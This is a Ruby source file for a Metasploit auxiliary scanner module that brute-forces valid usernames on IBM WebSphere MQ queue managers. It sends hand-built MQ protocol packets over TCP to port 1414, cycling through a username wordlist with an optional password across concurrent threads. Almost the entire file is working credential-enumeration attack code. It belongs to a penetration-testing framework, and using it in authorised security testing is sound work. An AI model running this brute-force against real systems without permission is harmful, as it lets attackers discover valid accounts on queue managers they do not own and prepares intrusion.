rapid7/metasploit-framework

View on GitHub
modules/auxiliary/scanner/misc/ibm_mq_login.rb

Summary

Maintainability
A
20 mins
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'IBM WebSphere MQ Login Check',
      'Description' => 'This module can be used to bruteforce usernames that can be used to connect to a queue manager. The name of a valid server-connection channel without SSL configured is required, as well as a list of usernames to try.',
      'Author'      => 'Petros Koutroumpis',
      'License'     => MSF_LICENSE
    )
    register_options([
      Opt::RPORT(1414),
      OptInt.new('TIMEOUT', [true, "The socket connect timeout in seconds", 5]),
      OptInt.new('CONCURRENCY', [true, "The number of usernames to check concurrently", 10]),
      OptString.new('QUEUE_MANAGER', [true, "Queue Manager name to use" ,""]),
      OptString.new('CHANNEL', [true, "Channel to use" ,"SYSTEM.ADMIN.SVRCONN"]),
      OptString.new('PASSWORD', [false, "Optional password to attempt with login"]),
      OptPath.new('USERNAMES_FILE',
        [ true, "The file that contains a list of usernames. UserIDs are case insensitive!"]
      )])
    #deregister_options('THREADS')
  end

  def run_host(ip)
    @usernames = []
    if datastore['CHANNEL'].length.to_i > 20
      print_error("Channel name cannot be more that 20 characters.")
      exit
    end
    if datastore['QUEUE_MANAGER'].length.to_i > 48
     print_error("Queue Manager name cannot be more that 48 characters.")
     exit
    end
    begin
      username_list
      rescue ::Rex::ConnectionError
      rescue ::Exception => e
        print_error("#{e} #{e.backtrace}")
      end
      print_line
      if(@usernames.empty?)
        print_status("#{ip}:#{rport} No valid users found.")
      else
        print_good("#{ip}:#{rport} Valid usernames found: #{@usernames}")
        report_note(
          :host => rhost,
          :port => rport,
          :type => 'mq.usernames'
        )
      print_line
    end
  end

  def first_packet(channel,qm_name)
    init1 = "\x54\x53\x48\x20" +     # StructId
    "\x00\x00\x01\x0c" +         # MQSegmLen
    "\x01" +                 # ByteOrder
    "\x01" +                 # SegmType
    "\x31" +                 # CtlFlag1
    "\x00" +                 # CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x00\x00\x01\x11" +         # Encoding
    "\x04\xb8" +             # CCSID
    "\x00\x00" +             # Reserved
    "\x49\x44\x20\x20" +         # StructId
    "\x0d" +                 # FAPLevel
    "\x26" +                 # CapFlag1
    "\x00" +                 # ECapFlag1
    "\x00" +                 # InierrFlg1
    "\x00\x00" +             # ReserveD
    "\x00\x00" +             # MaxMsgBtch
    "\x00\x00\x7f\xec" +         # MaxTrSize
    "\x06\x40\x00\x00" +         # MaxMsgSize
    "\x00\x00\x00\x00" +         # SeqWrapVal
    channel +                 # Channel Name
    "\x51" +                 # CapFlag2
    "\x00" +                 # ECapFlag2
    "\x04\xb8" +             # ccsid
    qm_name +                 # Queue Manager Name
    "\x00\x00\x00\x01" +         # HBInterval
    "\x00\x8a" +             # EFLLength
    "\x00" +                # IniErrFlg2
    "\x00" +                 # Reserved1
    "\x00\xff" +             # HdrCprsLst
    "\x00\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst1
    "\xff\xff\xff\xff\xff\xff\xff\xff" +# MsgCprsLst2
    "\x00\x00" +             # Reserved2
    "\x00\x00\x00\x00" +         # SSLKeyRst
    "\x00\x00\x00\x0a" +         # ConvBySkt
    "\x08" +                 # CapFlag3
    "\x00" +                 # ECapFlag3
    "\x00\x00" +             # Reserved3
    "\x00\x00\x00\x00" +         # ProcessId
    "\x00\x00\x00\x00" +         # ThreadId
    "\x00\x00\x00\x1b" +         # TraceId
    "MQMM09000000" +             # ProdId
    "MQMID" + "\x20"*43 +         # MQM ID
    "\x00\x01\x00\x00\xff\xff\xff\xff" +# Unknown1
    "\xff\xff\xff\xff\xff\xff\xff\xff" +# Unknown2
    "\xff\xff\xff\xff\xf1\x18\xa6\x93" +# Unknown3
    "\x2b\x8a\x44\x3c\x67\x53\x73\x08"    # Unknown4
  end

  def second_packet(channel,qm_name)
    init2 = "\x54\x53\x48\x4d" +     # StructId
    "\x00\x00\x00\xf4" +         # MQSegmLen
    "\x00\x00\x00\x01" +         # Convers Id
    "\x00\x00\x00\x00" +         # Request Id
    "\x02" +                 # ByteOrder
    "\x01" +                 # SegmType
    "\x31" +                 # CtlFlag1
    "\x00" +                 # CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x11\x01\x00\x00" +         # Encoding
    "\xb5\x01" +             # CCSID
    "\x00\x00" +             # Reserved
    "\x49\x44\x20\x20" +         # StructId
    "\x0c" +                 # FAPLevel
    "\x26" +                 # CapFlag1
    "\x00" +                 # ECapFlag1
    "\x00" +                 # IniErrFlg1
    "\x00\x00" +             # Reserved
    "\x00\x00" +             # MaxMsgBtch
    "\xec\x7f\x00\x00" +         # MaxTrSize
    "\x00\x00\x40\x00" +         # MaxMsgSize
    "\x00\x00\x00\x00" +         # SeqWrapVal
    channel +                 # Channel Name
    "\x51" +                 # CapFlag2
    "\x00" +                 # ECapFlag2
    "\xb5\x01" +             # ccsid
    qm_name +                 # Queue Manager Name
    "\x2c\x01\x00\x00" +         # HBInterval
    "\x8a\x00" +             # EFLLength
    "\x00" +                 # IniErrFlg2
    "\x00" +                 # Reserved1
    "\x00\xff" +             # HdrCprsLst
    "\x00\xff\xff\xff\xff\xff\xff" +     # MsgCprsLst1
    "\xff\xff\xff\xff\xff\xff\xff" +     # MsgCprsLst2
    "\xff\xff" +             # MsgCprsLst3
    "\x00\x00" +             # Reserved2
    "\x00\x00\x00\x00" +         # SSLKeyRst
    "\x0a\x00\x00\x00" +         # ConvBySkt
    "\x00" +                 # CapFlag3
    "\x00" +                 # ECapFlag3
    "\x00\x00" +             # Reserved3
    "\x00\x00\x00\x00" +         # ProcessId
    "\x00\x00\x00\x00" +         # ThreadId
    "\x1b\x00\x00\x00" +         # TraceId
    "MQMM09000000" +             # ProdId
    "MQMID" + "\x20"*43         # MQM ID
  end

  def send_userid(userid,uname)

    if datastore['PASSWORD'].nil?
      password = "\x00" * 12
    else
      password = datastore['PASSWORD']
      if (password.length > 12)
        print_warning("Passwords greater than 12 characters are unsupported.  Truncating...")
        password = password[0..12]
      end
      password = password + ( "\x00" * (12-password.length) )
    end
    vprint_status("Using password: '#{password}' (Length: #{password.length})")

    send_userid = "\x54\x53\x48\x4d" +     # StructId
    "\x00\x00\x00\xa8" +         # MQSegmLen
    "\x00\x00\x00\x01" +         # Convers ID
    "\x00\x00\x00\x00" +         # Request ID
    "\x02" +                 # Byte Order
    "\x08" +                 # SegmType
    "\x30" +                 # CtlFlag1
    "\x00" +                 # CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x11\x01\x00\x00" +         # Encoding
    "\xb5\x01" +             # CCSID
    "\x00\x00" +             # Reserved
    "\x55\x49\x44\x20" +         # StructId
    userid +                 # UserId - Doesnt affect anything
    password +                          # Password
    uname +                 # Long UID - This matters!
    "\x00" +                 # SID Len
    "\x00" * 39             # Unknown
  end

  def start_conn(qm_name)
    start_conn = "\x54\x53\x48\x4d" +     # StructId
    "\x00\x00\x01\x38" +         # MQSegmLen
    "\x00\x00\x00\x01" +         # Convers ID
    "\x00\x00\x00\x00" +         # Request ID
    "\x02" +                 # Byte Order
    "\x81" +                 # SegmType
    "\x30" +                 # CtlFlag1
    "\x00" +                 # CtlFlag2
    "\x00\x00\x00\x00\x00\x00\x00\x00" +# LUW Ident
    "\x11\x01\x00\x00" +         # Encoding
    "\xb5\x01" +             # CCSID
    "\x00\x00" +            # Reserved
    "\x00\x00\x01\x38" +         # Reply Len
    "\x00\x00\x00\x00" +         # Compl Code
    "\x00\x00\x00\x00" +         # Reason Code
    "\x00\x00\x00\x00" +         # Object Hdl
    qm_name +                 # Queue Manager Name
    "\x4d\x51\x20\x45\x78\x70\x6c" +     # Appl Name
    "\x6f\x72\x65\x72\x20\x39\x2e" +     # Appl Name
    "\x30\x2e\x30\x20\x20\x20\x20" +     # Appl Name
    "\x20\x20\x20\x20\x20\x20\x20" +     # Appl Name
    "\x1c\x00\x00\x00" +         # ApplType
    "\x00" * 32 +             # AccntTok
    "\x03\x00\x00\x00" +         # MQCONNX
    "\x00\x00\x00\x00" +         # Options
    "\x46\x43\x4e\x4f" +         # Struct ID
    "\x02\x00\x00\x00" +         # Version
    "\x00\x00\x00\x00" +         # Option
    "\x4d\x51\x4a\x42\x30\x39\x30" +     # msgid
    "\x30\x30\x30\x30\x34" +         # msgid
    "MQM" + "\x20" * 45 +         # MqmId
    "\x00" * 68                # Unknown
  end

  def username_list
    username_data = get_usernames
    while (username_data.length > 0)
      t = []
      r = []
      begin
        1.upto(datastore['CONCURRENCY']) do
          this_username = username_data.shift
          if this_username.nil?
            next
          end
          t << framework.threads.spawn("Module(#{self.refname})-#{rhost}:#{rport}", false, this_username) do |username|
            connect
            vprint_status "#{rhost}:#{rport} - Sending request for #{username}..."
            channel = datastore['CHANNEL']
            if channel.length > 20
              print_error("Channel name must be less than 20 characters.")
              next
            end
            channel += "\x20" * (20-channel.length.to_i) # max channel name length is 20
            qm_name = datastore['QUEUE_MANAGER']
            if qm_name.length > 48
              print_error("Queue Manager name must be less than 48 characters.")
              next
            end
            qm_name += "\x20" * (48-qm_name.length.to_i) # max queue manager name length is 48
            if username.length > 12
              print_error("Username must be less than 12 characters.")
              next
            end
            uname = username + "\x20" * (64-username.length.to_i)
            userid = username + "\x20" * (12 - username.length.to_i) # this doesnt make a difference
            timeout = datastore['TIMEOUT'].to_i
            s = connect(false,
              {
                'RPORT' => rport,
                'RHOST' => rhost,
              }
            )
            s.put(first_packet(channel,qm_name))
            first_response = s.get_once(-1,timeout)
            if first_response[-4..-1] == "\x00\x00\x00\x02" # CHANNEL_WRONG_TYPE code
              print_error("Channel needs to be MQI type!")
              next
            end
            s.put(second_packet(channel,qm_name))
            second_response = s.get_once(-1,timeout)
            s.put(send_userid(userid,uname))
            s.put(start_conn(qm_name))
            data = s.get_once(-1,timeout)
            if data[41..44] == "\x00\x00\x00\x00"
                  print_status("Found username: #{username}")
                  @usernames << username
            end
            disconnect
          end
        end
        t.each {|x| x.join }
      end
    end
  end

  def get_usernames
    if(! @common)
      File.open(datastore['USERNAMES_FILE'], "rb") do |fd|
        data = fd.read(fd.stat.size)
        @common = data.split(/\n/).compact.uniq
      end
    end
    @common
  end

end